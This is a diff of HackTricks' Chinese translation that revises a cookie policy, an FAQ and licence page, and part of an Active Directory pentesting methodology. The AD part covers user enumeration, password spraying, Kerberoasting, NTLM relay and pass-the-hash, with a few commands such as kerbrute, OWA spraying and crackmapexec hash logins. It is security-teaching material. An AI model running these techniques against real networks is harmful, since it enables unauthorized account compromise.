本Cookies政策适用于HackTricks团队“HackTricks”“我们”“我们”或“我们的”拥有和运营的以下网站 本Cookies政策适用于HackTricks团队“HackTricks”“我们”“我们”或“我们的”拥有和运营的以下网站
* hacktricks.xyz * hacktricks.wiki
* [www.hacktricks.xyz](http://www.hacktricks.xyz/) * [www.hacktricks.wiki](https://www.hacktricks.wiki/)
* book.hacktricks.xyz * book.hacktricks.wiki
* cloud.hacktricks.xyz * cloud.hacktricks.wiki
通过使用这些网站中的任何一个您同意根据本Cookies政策使用cookies。如果您不同意请在浏览器设置中禁用cookies或避免使用我们的网站。 通过使用这些网站中的任何一个您同意根据本Cookies政策使用cookies。如果您不同意请在浏览器设置中禁用cookies或避免使用我们的网站。
@ -26,11 +26,11 @@ Cookies是当您访问网站时存储在您的计算机或移动设备上的小
3. 功能性cookies这些cookies使我们的网站能够记住您所做的选择例如您的语言或地区以提供更个性化的体验。 3. 功能性cookies这些cookies使我们的网站能够记住您所做的选择例如您的语言或地区以提供更个性化的体验。
4. 定向/广告cookies这些cookies用于根据您的兴趣、浏览历史和与我们网站的互动提供相关广告和营销通讯。 4. 定向/广告cookies这些cookies用于根据您的兴趣、浏览历史和与我们网站的互动提供相关广告和营销通讯。
此外页面book.hacktricks.xyz和cloud.hacktricks.xyz托管在Gitbook上。您可以在[https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy)找到有关Gitbook cookies的更多信息。 此外页面book.hacktricks.wiki和cloud.hacktricks.wiki托管在Gitbook上。您可以在[https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy)找到有关Gitbook cookies的更多信息。
### 第三方cookies ### 第三方cookies
除了我们自己的cookies我们还可能使用第三方cookies来报告网站使用统计信息、投放广告和启用社交媒体分享按钮。使用第三方cookies受其各自隐私政策的约束。 除了我们自己的cookies我们还可能使用第三方cookies来报告网站使用统计信息、投放广告和启用社交媒体分享按钮。第三方cookies的使用受其各自隐私政策的约束。
管理cookies 管理cookies

View File

@ -1,4 +1,4 @@
# HackTricks 值与常见问题 # HackTricks 值与常见问题解答
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
@ -19,14 +19,14 @@
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
## HackTricks 常见问题 ## HackTricks 常见问题解答
> [!TIP] > [!TIP]
> >
> - **非常感谢这些资源,我该如何感谢你们?** > - **非常感谢这些资源,我该如何感谢你们?**
您可以在推特上公开感谢 HackTricks 团队将所有这些资源汇集在一起,提及 [**@hacktricks_live**](https://twitter.com/hacktricks_live)。\ 您可以在推特上公开感谢 HackTricks 团队将所有这些资源汇集在一起,提及 [**@hacktricks_live**](https://twitter.com/hacktricks_live)。\
如果您特别感激,您可以 [**在这里赞助该项目**](https://github.com/sponsors/carlospolop)。\ 如果您特别感激,您可以 [**在这里赞助该项目**](https://github.com/sponsors/carlospolop)。\
并且不要忘记 **在 Github 项目中给个星星!**(在下面找到链接)。 并且不要忘记 **在 Github 项目中给个星星!**(在下面找到链接)。
> [!TIP] > [!TIP]
@ -50,21 +50,21 @@
> >
> - **我该如何引用 HackTricks 的页面?** > - **我该如何引用 HackTricks 的页面?**
只要您引用的信息来源的页面 **链接** 出现即可。\ 只要您引用的信息页面 **链接** 出现即可。\
如果您需要 bibtex可以使用类似的格式: 如果您需要 bibtex可以使用类似的格式
```latex ```latex
@misc{hacktricks-bibtexing, @misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick}, author = {"HackTricks Team" or the Authors name of the specific page/trick},
title = {Title of the Specific Page}, title = {Title of the Specific Page},
year = {Year of Last Update (check it at the end of the page)}, year = {Year of Last Update (check it at the end of the page)},
url = {\url{https://book.hacktricks.xyz/specific-page}}, url = {\url{https://book.hacktricks.wiki/specific-page}},
} }
``` ```
> [!WARNING] > [!WARNING]
> >
> - **我可以在我的博客中复制所有HackTricks吗** > - **我可以在我的博客中复制所有HackTricks吗**
**我不建议这样做**。这对任何人都**没有好处**,因为所有**内容已经在官方HackTricks书籍中免费公开**。 **我不建议这样做**。这对任何人都**没有好处**,因为所有**内容已经在官方HackTricks书籍中免费公开**。
如果你担心它会消失只需在Github上分叉或下载如我所说它已经是免费的。 如果你担心它会消失只需在Github上分叉或下载如我所说它已经是免费的。
@ -76,7 +76,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
如果你认为HackTricks书籍是为了**商业目的**而制作的,你是**完全错误的**。 如果你认为HackTricks书籍是为了**商业目的**而制作的,你是**完全错误的**。
我们有赞助商,因为即使所有内容都是免费的,我们也希望**给社区提供欣赏我们工作的可能性**,如果他们愿意。因此,我们提供人们通过[**Github赞助商**](https://github.com/sponsors/carlospolop)向HackTricks捐款的选项,以及**相关的网络安全公司**赞助HackTricks并在书中**放置一些广告**,这些**广告**总是放在**可见**但**不干扰学习**过程的地方,以便人专注于内容。 我们有赞助商,因为即使所有内容都是免费的,我们也希望**给社区提供欣赏我们工作的可能性**,如果他们愿意。因此,我们提供人们通过[**Github赞助商**](https://github.com/sponsors/carlospolop)捐赠给HackTricks的选项,以及**相关的网络安全公司**赞助HackTricks并在书中**放置一些广告**,这些**广告**总是放在**可见**但**不干扰学习**过程的地方,以便人专注于内容。
你不会发现HackTricks充满了烦人的广告就像其他内容远不如HackTricks的博客因为HackTricks不是为了商业目的而制作的。 你不会发现HackTricks充满了烦人的广告就像其他内容远不如HackTricks的博客因为HackTricks不是为了商业目的而制作的。
@ -90,47 +90,47 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
> >
> - **如果HackTricks中有我博客的内容而我不想要它我该怎么办** > - **如果HackTricks中有我博客的内容而我不想要它我该怎么办**
请注意在HackTricks中链接到你的页面: 请注意在HackTricks中链接到你的页面
- 改善你的**SEO** - 改善你的**SEO**
- 内容被**翻译成15种以上语言**,使更多人能够访问这些内容 - 内容被**翻译成15种以上语言**,使更多人能够访问这些内容
- **HackTricks鼓励**人们**查看你的页面**有几个人提到自从他们的某个页面在HackTricks中后他们的访问量增加了 - **HackTricks鼓励**人们**查看你的页面**有几个人提到自从他们的某个页面在HackTricks中后他们的访问量增加了
然而如果你仍然希望从HackTricks中删除你博客的内容请告知我们我们将**删除所有指向你博客的链接**,以及任何基于它的内容。 然而如果你仍然希望从HackTricks中删除你博客的内容请告知我们我们将**删除所有指向你博客的链接**,以及任何基于它的内容。
> [!CAUTION] > [!CAUTION]
> >
> - **如果我在HackTricks中发现复制粘贴的内容,我该怎么办?** > - **如果我在HackTricks中发现抄袭的内容,我该怎么办?**
我们始终**给予原作者所有的信用**。如果你发现某个页面有复制粘贴的内容而没有引用原始来源,请告知我们,我们将**删除它**、**在文本前添加链接**,或**重写并添加链接**。 我们始终**给予原作者所有的信用**。如果你发现某个页面有抄袭的内容而没有引用原始来源,请告知我们,我们将**删除它**、**在文本前添加链接**,或**重写并添加链接**。
## LICENSE ## LICENSE
Copyright © 保留所有权利,除非另有说明。 Copyright © All rights reserved unless otherwise specified.
#### License Summary: #### License Summary:
- Attribution: 你可以自由地: - Attribution: You are free to:
- Share — 以任何媒介或格式复制和重新分发材料。 - Share — copy and redistribute the material in any medium or format.
- Adapt — 混合、转变和基于材料进行创作。 - Adapt — remix, transform, and build upon the material.
#### Additional Terms: #### Additional Terms:
- Third-Party Content: 本博客/书籍的某些部分可能包含来自其他来源的内容,例如其他博客或出版物的摘录。使用此类内容是基于合理使用原则或获得相关版权持有人的明确许可。有关第三方内容的具体许可信息,请参考原始来源。 - Third-Party Content: Some parts of this blog/book may include content from other sources, such as excerpts from other blogs or publications. The use of such content is done under the principles of fair use or with explicit permission from the respective copyright holders. Please refer to the original sources for specific licensing information regarding third-party content.
- Authorship: HackTricks创作的原始内容受此许可条款的约束。鼓励在分享或改编时将此作品归功于作者。 - Authorship: The original content authored by HackTricks is subject to the terms of this license. You are encouraged to attribute this work to the author when sharing or adapting it.
#### Exemptions: #### Exemptions:
- Commercial Use: 有关此内容商业使用的查询,请与我联系。 - Commercial Use: For inquiries regarding commercial use of this content, please contact me.
此许可不授予与内容相关的任何商标或品牌权利。所有在本博客/书籍中出现的商标和品牌均为其各自所有者的财产。 This license does not grant any trademark or branding rights in relation to the content. All trademarks and branding featured in this blog/book are the property of their respective owners.
**通过访问或使用HackTricks你同意遵守此许可的条款。如果你不同意这些条款,请不要访问此网站。** **通过访问或使用HackTricks您同意遵守本许可证的条款。如果您不同意这些条款,请不要访问此网站。**
## **免责声明** ## **免责声明**
> [!CAUTION] > [!CAUTION]
> 本书《HackTricks》仅用于教育和信息目的。书中的内容按“现状”提供作者和出版商不对书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性作出任何明示或暗示的陈述或保证。你对这些信息的任何依赖均由你自行承担风险。 > 本书《HackTricks》仅用于教育和信息目的。书中的内容按“现状”提供,作者和出版商不对书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性作出任何明示或暗示的陈述或保证。您对这些信息的任何依赖均由您自行承担风险。
> >
> 作者和出版商在任何情况下均不对因使用本书而导致的任何损失或损害承担责任,包括但不限于间接或后果性损失或损害,或因数据或利润损失而产生的任何损失或损害。 > 作者和出版商在任何情况下均不对因使用本书而导致的任何损失或损害承担责任,包括但不限于间接或后果性损失或损害,或因数据或利润损失而产生的任何损失或损害。
> >

View File

@ -6,7 +6,7 @@
**Active Directory** 作为基础技术,使 **网络管理员** 能够高效地创建和管理网络中的 **域**、**用户** 和 **对象**。它被设计为可扩展,便于将大量用户组织成可管理的 **组****子组**,同时在不同级别上控制 **访问权限** **Active Directory** 作为基础技术,使 **网络管理员** 能够高效地创建和管理网络中的 **域**、**用户** 和 **对象**。它被设计为可扩展,便于将大量用户组织成可管理的 **组****子组**,同时在不同级别上控制 **访问权限**
**Active Directory** 的结构由三个主要层次组成:**域**、**树** 和 **森林**。一个 **域** 包含一组对象,如 **用户****设备**,共享一个公共数据库。**树** 是通过共享结构连接的这些域的组,而 **森林** 代表多个树的集合,通过 **信任关系** 互联,形成组织结构的最上层。可以在每个层次上指定特定的 **访问****通信权限** **Active Directory** 的结构由三个主要层次组成:**域**、**树** 和 **森林**。一个 **域** 包含一组对象,如 **用户****设备**,共享一个公共数据库。**树** 是这些域的组,按共享结构连接,而 **森林** 代表多个树的集合,通过 **信任关系** 互联,形成组织结构的最上层。可以在每个层次上指定特定的 **访问****通信权限**
**Active Directory** 中的关键概念包括: **Active Directory** 中的关键概念包括:
@ -36,7 +36,7 @@
您可以访问 [https://wadcoms.github.io/](https://wadcoms.github.io) 快速查看可以运行的命令,以枚举/利用 AD。 您可以访问 [https://wadcoms.github.io/](https://wadcoms.github.io) 快速查看可以运行的命令,以枚举/利用 AD。
## 侦 Active Directory (无凭据/会话) ## 侦 Active Directory (无凭据/会话)
如果您仅访问 AD 环境,但没有任何凭据/会话,您可以: 如果您仅访问 AD 环境,但没有任何凭据/会话,您可以:
@ -66,10 +66,10 @@
- **毒化网络** - **毒化网络**
- 收集凭据 [**通过 Responder 冒充服务**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - 收集凭据 [**通过 Responder 冒充服务**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- 通过 [**滥用中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 访问主机 - 通过 [**滥用中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 访问主机
- 收集凭据 **暴露** [**伪造的 UPnP 服务与 evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - 收集凭据 **暴露** [** UPnP 服务与 evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology) - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- 从内部文档、社交媒体、服务(主要是 Web中提取用户名/姓名,以及从公开可用的信息中提取。 - 从内部文档、社交媒体、服务(主要是 Web中提取用户名/姓名,以及从公开可用的信息中提取。
- 如果您找到公司员工的完整姓名,您可以尝试不同的 AD **用户名约定****[阅读此文](https://activedirectorypro.com/active-directory-user-naming-convention/)**。最常见的约定是_NameSurname_、_Name.Surname_、_NamSur_每个的 3 个字母、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个 _随机字母和 3 个随机数字_abc123 - 如果您找到公司员工的完整姓名,您可以尝试不同的 AD **用户名约定****[阅读此文](https://activedirectorypro.com/active-directory-user-naming-convention/)**。最常见的约定是_NameSurname_、_Name.Surname_、_NamSur_每个个字母、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个 _随机字母和 3 个随机数字_abc123
- 工具: - 工具:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -77,7 +77,7 @@
### 用户枚举 ### 用户枚举
- **匿名 SMB/LDAP 枚举:** 检查 [**渗透测试 SMB**](../../network-services-pentesting/pentesting-smb/index.html) 和 [**渗透测试 LDAP**](../../network-services-pentesting/pentesting-ldap.md) 页面。 - **匿名 SMB/LDAP 枚举:** 检查 [**渗透测试 SMB**](../../network-services-pentesting/pentesting-smb/index.html) 和 [**渗透测试 LDAP**](../../network-services-pentesting/pentesting-ldap.md) 页面。
- **Kerbrute 枚举**:当请求 **无效用户名** 时,服务器将使用 **Kerberos 错误** 代码 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ 响应,从而使我们能够确定该用户名无效。**有效用户名** 将引发 **AS-REP** 响应中的 **TGT** 或错误 _KRB5KDC_ERR_PREAUTH_REQUIRED_指示用户需要进行预身份验证。 - **Kerbrute 枚举**:当请求 **无效用户名** 时,服务器将使用 **Kerberos 错误** 代码 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ 响应,从而使我们能够确定该用户名无效。 **有效用户名** 将引发 **AS-REP** 响应中的 **TGT** 或错误 _KRB5KDC_ERR_PREAUTH_REQUIRED_指示用户需要进行预身份验证。
```bash ```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -103,7 +103,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
``` ```
> [!WARNING] > [!WARNING]
> 你可以在 [**这个 github 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 找到用户名列表。 > 你可以在 [**这个 github 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 找到用户名列表。
> >
> 然而,你应该从之前的侦查步骤中获得 **公司员工的姓名**。有了名字和姓氏,你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。 > 然而,你应该从之前的侦查步骤中获得 **公司员工的姓名**。有了名字和姓氏,你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
@ -112,7 +112,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
好的,所以你知道你已经有一个有效的用户名,但没有密码……那么尝试: 好的,所以你知道你已经有一个有效的用户名,但没有密码……那么尝试:
- [**ASREPRoast**](asreproast.md):如果用户 **没有** 属性 _DONT_REQ_PREAUTH_你可以 **请求该用户的 AS_REP 消息**,其中将包含一些由用户密码的派生加密的数据。 - [**ASREPRoast**](asreproast.md):如果用户 **没有** 属性 _DONT_REQ_PREAUTH_你可以 **请求该用户的 AS_REP 消息**,其中将包含一些由用户密码的派生加密的数据。
- [**Password Spraying**](password-spraying.md):让我们尝试每个发现用户的 **常见密码**,也许某个用户使用了一个糟糕的密码(记住密码策略!)。 - [**Password Spraying**](password-spraying.md):让我们尝试每个发现用户的 **常见密码**,也许某个用户使用了一个糟糕的密码(记住密码策略!)。
- 请注意,你也可以 **喷洒 OWA 服务器** 来尝试访问用户的邮件服务器。 - 请注意,你也可以 **喷洒 OWA 服务器** 来尝试访问用户的邮件服务器。
{{#ref}} {{#ref}}
@ -129,11 +129,11 @@ password-spraying.md
### NTML 中继 ### NTML 中继
如果你已经成功枚举了活动目录,你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 来访问 AD 环境。 如果你已经成功枚举了活动目录,你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* 来访问 AD 环境。
### 偷取 NTLM 凭证 ### 偷取 NTLM 凭证
如果你可以使用 **null 或访客用户** **访问其他 PC 或共享**,你可以 **放置文件**(如 SCF 文件),如果以某种方式被访问,将会 **触发对你的 NTML 认证**,这样你就可以 **取** **NTLM 挑战** 进行破解: 如果你可以使用 **null 或访客用户** **访问其他 PC 或共享**,你可以 **放置文件**(如 SCF 文件),如果以某种方式被访问,将会 **触发对你的 NTML 认证**,这样你就可以 **取** **NTLM 挑战** 进行破解:
{{#ref}} {{#ref}}
../ntlm/places-to-steal-ntlm-creds.md ../ntlm/places-to-steal-ntlm-creds.md
@ -151,7 +151,7 @@ kerberos-double-hop-problem.md
### 枚举 ### 枚举
成功妥协一个账户是 **开始妥协整个域的重要一步**,因为你将能够开始 **活动目录枚举:** 成功妥协一个账户是 **开始妥协整个域的重大步骤**,因为你将能够开始 **活动目录枚举:**
关于 [**ASREPRoast**](asreproast.md),你现在可以找到每个可能的易受攻击用户,关于 [**Password Spraying**](password-spraying.md),你可以获得 **所有用户名的列表** 并尝试妥协账户的密码、空密码和新的有前景的密码。 关于 [**ASREPRoast**](asreproast.md),你现在可以找到每个可能的易受攻击用户,关于 [**Password Spraying**](password-spraying.md),你可以获得 **所有用户名的列表** 并尝试妥协账户的密码、空密码和新的有前景的密码。
@ -162,7 +162,7 @@ kerberos-double-hop-problem.md
- **其他自动化 AD 枚举工具有:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** - **其他自动化 AD 枚举工具有:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**AD 的 DNS 记录**](ad-dns-records.md),因为它们可能包含有趣的信息。 - [**AD 的 DNS 记录**](ad-dns-records.md),因为它们可能包含有趣的信息。
- 你可以使用 **AdExplorer.exe** 这个 **GUI 工具** 来枚举目录,来自 **SysInternal** 套件。 - 你可以使用 **AdExplorer.exe** 这个 **GUI 工具** 来枚举目录,来自 **SysInternal** 套件。
- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭证,查找字段 _userPassword__unixUserPassword_,甚至是 _Description_。请参阅 [PayloadsAllTheThings 中 AD 用户评论的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。 - 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭证,查找字段 _userPassword__unixUserPassword_,甚至是 _Description_。请参阅 [PayloadsAllTheThings 上的 AD 用户评论中的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
- 如果你使用 **Linux**,你也可以使用 [**pywerview**](https://github.com/the-useless-one/pywerview) 枚举域。 - 如果你使用 **Linux**,你也可以使用 [**pywerview**](https://github.com/the-useless-one/pywerview) 枚举域。
- 你还可以尝试自动化工具,如: - 你还可以尝试自动化工具,如:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
@ -189,13 +189,13 @@ kerberoast.md
### 本地权限提升 ### 本地权限提升
如果你已经妥协了凭证或作为普通域用户的会话,并且你可以 **使用该用户访问域中的任何机器**,你应该尝试找到 **本地提升权限和寻找凭证的方法**。这是因为只有在本地管理员权限下,你才能 **转储其他用户的哈希**(在内存中 LSASS 和本地 SAM 如果你已经妥协了凭证或作为普通域用户的会话,并且你可以 **使用该用户访问域中的任何机器**,你应该尝试找到 **本地提升权限和寻找凭证的方法**。这是因为只有拥有本地管理员权限,你才能 **在内存中LSASS和本地SAM转储其他用户的哈希**
本书中有一整页关于 [**Windows 中的本地权限提升**](../windows-local-privilege-escalation/index.html) 和一个 [**检查表**](../checklist-windows-privilege-escalation.md)。此外,不要忘记使用 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)。 本书中有一整页关于 [**Windows 中的本地权限提升**](../windows-local-privilege-escalation/index.html) 和一个 [**检查表**](../checklist-windows-privilege-escalation.md)。此外,不要忘记使用 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)。
### 当前会话票证 ### 当前会话票证
**不太可能** 在当前用户中找到 **票证**,使你能够访问意外资源,但你可以检查: **不太可能** 在当前用户中找到 **票证**,使你有权限访问意外资源,但你可以检查:
```bash ```bash
## List all tickets (if not admin, only current user tickets) ## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage .\Rubeus.exe triage
@ -229,25 +229,25 @@ kerberoast.md
printnightmare.md printnightmare.md
{{#endref}} {{#endref}}
## 在具有特权凭据/会话的 Active Directory 上进行特权提升 ## 使用特权凭据/会话在活动目录上进行特权提升
**对于以下技术,普通域用户是不够的,你需要一些特殊的特权/凭据来执行这些攻击。** **对于以下技术,普通域用户是不够的,你需要一些特殊的特权/凭据来执行这些攻击。**
### 哈希提取 ### 哈希提取
希望你已经成功**破坏了一些本地管理员**账户,使用 [AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 包括中继、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[本地提升特权](../windows-local-privilege-escalation/index.html)。\ 希望你已经成功**破坏了一些本地管理员**账户,使用 [AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 包括中继、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[本地提升特权](../windows-local-privilege-escalation/index.html)。\
然后,是时候在内存和本地转储所有哈希了。\ 然后,是时候转储内存和本地的所有哈希了。\
[**阅读此页面以了解获取哈希的不同方法。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) [**阅读此页面以了解获取哈希的不同方法。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### 传递哈希 ### 传递哈希
**一旦你拥有用户的哈希**,你可以用它来**冒充**该用户。\ **一旦你拥有用户的哈希**,你可以用它来**冒充**该用户。\
你需要使用些**工具**来**执行**使用该**哈希的 NTLM 认证****或者**你可以创建一个新的**sessionlogon**并**注入**该**哈希**到**LSASS**中,这样当任何**NTLM 认证被执行**时,该**哈希将被使用。**最后一个选项就是 mimikatz 所做的。\ 你需要使用些**工具**来**执行**使用该**哈希的 NTLM 认证****或者**你可以创建一个新的**sessionlogon**并**注入**该**哈希**到**LSASS**中,这样当任何**NTLM 认证被执行**时,该**哈希将被使用。**最后一个选项就是 mimikatz 所做的。\
[**阅读此页面以获取更多信息。**](../ntlm/index.html#pass-the-hash) [**阅读此页面以获取更多信息。**](../ntlm/index.html#pass-the-hash)
### 超越哈希/传递密钥 ### 超越传递哈希/传递密钥
此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**,作为常见的 NTLM 协议下的传递哈希的替代方案。因此,这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中尤其**有用**。 此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**,作为常见的 NTLM 协议下的传递哈希的替代方案。因此,这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中可能特别**有用**。
{{#ref}} {{#ref}}
over-pass-the-hash-pass-the-key.md over-pass-the-hash-pass-the-key.md
@ -270,40 +270,40 @@ pass-the-ticket.md
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
``` ```
> [!WARNING] > [!WARNING]
> 请注意,这非常**嘈杂**而且**LAPS**会**减轻**这种情况 > 请注意,这非常**嘈杂**并且**LAPS**会**减轻**它
### MSSQL 滥用与受信任链接 ### MSSQL 滥用与受信任链接
如果用户有权限**访问 MSSQL 实例**,他可能能够利用它在 MSSQL 主机上**执行命令**(如果以 SA 身份运行),**窃取** NetNTLM **哈希**,甚至执行**中继****攻击**。\ 如果用户有权限**访问 MSSQL 实例**,他可能能够利用它在 MSSQL 主机上**执行命令**(如果以 SA 身份运行),**窃取** NetNTLM **哈希**,甚至执行**中继****攻击**。\
此外,如果一个 MSSQL 实例被另一个 MSSQL 实例信任(数据库链接)。如果用户对受信任的数据库有权限,他将能够**利用信任关系在另一个实例中执行查询**。这些信任可以链式连接,在某些情况下,用户可能能够找到一个配置错误的数据库,在那里他可以执行命令。\ 此外,如果 MSSQL 实例被其他 MSSQL 实例信任(数据库链接)。如果用户对受信任的数据库有权限,他将能够**利用信任关系在其他实例中执行查询**。这些信任可以链式连接,在某些情况下,用户可能能够找到一个配置错误的数据库,在其中执行命令。\
**数据库之间的链接甚至可以跨森林信任工作。** **数据库之间的链接甚至可以跨森林信任工作。**
{{#ref}} {{#ref}}
abusing-ad-mssql.md abusing-ad-mssql.md
{{#endref}} {{#endref}}
### 不受限委托 ### 不受限制的委派
如果发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 的计算机对象,并且你在该计算机上拥有域权限,你将能够从登录到该计算机的每个用户的内存中转储 TGT。\ 如果发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 的计算机对象,并且您在计算机上具有域权限,您将能够从登录到该计算机的每个用户的内存中转储 TGT。\
因此,如果**域管理员登录到计算机**将能够转储他的 TGT并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\ 因此,如果**域管理员登录到计算机**将能够转储他的 TGT并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
由于受限委托,你甚至可以**自动妥协打印服务器**(希望它是 DC 由于受限委派,您甚至可以**自动妥协打印服务器**(希望它是 DC
{{#ref}} {{#ref}}
unconstrained-delegation.md unconstrained-delegation.md
{{#endref}} {{#endref}}
### 受限委 ### 受限委
如果用户或计算机被允许进行“受限委托”,它将能够**冒充任何用户访问计算机中的某些服务**。\ 如果用户或计算机被允许进行“受限委派”,它将能够**冒充任何用户以访问计算机上的某些服务**。\
然后,如果你**妥协**了该用户/计算机的哈希,你将能够**冒充任何用户**(甚至是域管理员)访问某些服务。 然后,如果您**妥协**此用户/计算机的哈希,您将能够**冒充任何用户**(甚至是域管理员)访问某些服务。
{{#ref}} {{#ref}}
constrained-delegation.md constrained-delegation.md
{{#endref}} {{#endref}}
### 基于资源的受限委 ### 基于资源的受限委
在远程计算机的 Active Directory 对象上拥有**写入**权限可以实现**提升权限**的代码执行: 在远程计算机的 Active Directory 对象上拥有**WRITE**权限可以实现**提升权限**的代码执行:
{{#ref}} {{#ref}}
resource-based-constrained-delegation.md resource-based-constrained-delegation.md
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
### ACL 滥用 ### ACL 滥用
